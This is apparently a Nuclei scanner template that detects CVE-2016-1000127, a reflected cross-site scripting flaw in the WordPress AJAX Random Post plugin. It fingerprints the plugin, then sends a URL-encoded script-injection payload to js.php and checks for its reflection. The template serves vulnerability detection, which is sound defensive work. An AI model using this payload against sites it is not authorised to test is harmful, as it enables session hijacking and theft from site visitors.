id: CVE-2016-1000127

info:
  name: WordPress AJAX Random Post <=2.00 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress AJAX Random Post 2.00 is vulnerable to reflected cross-site scripting.
  impact: |
    This vulnerability allows an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress AJAX Random Post plugin (2.00 or higher) to fix this issue.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=494
    - https://wordpress.org/plugins/ajax-random-post
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000127
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000127
    cwe-id: CWE-79
    epss-score: 0.02773
    epss-percentile: 0.92427
    cpe: cpe:2.3:a:ajax-random-post_project:ajax-random-post:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "ajax-random-post_project"
    product: "ajax-random-post"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,ajax-random-post_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/ajax-random-post/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Ajax Random Post'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/ajax-random-post/js.php?interval=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022033d812cc967bee2ff650068fb62f4e1cbc4d18f76ee4fc1b6223a2f916472f4a022100df236d15e168d2a3eaf4155038b269a838759296196640df0b6deffbd78de68e:922c64590222798bb761d5b6d8e72950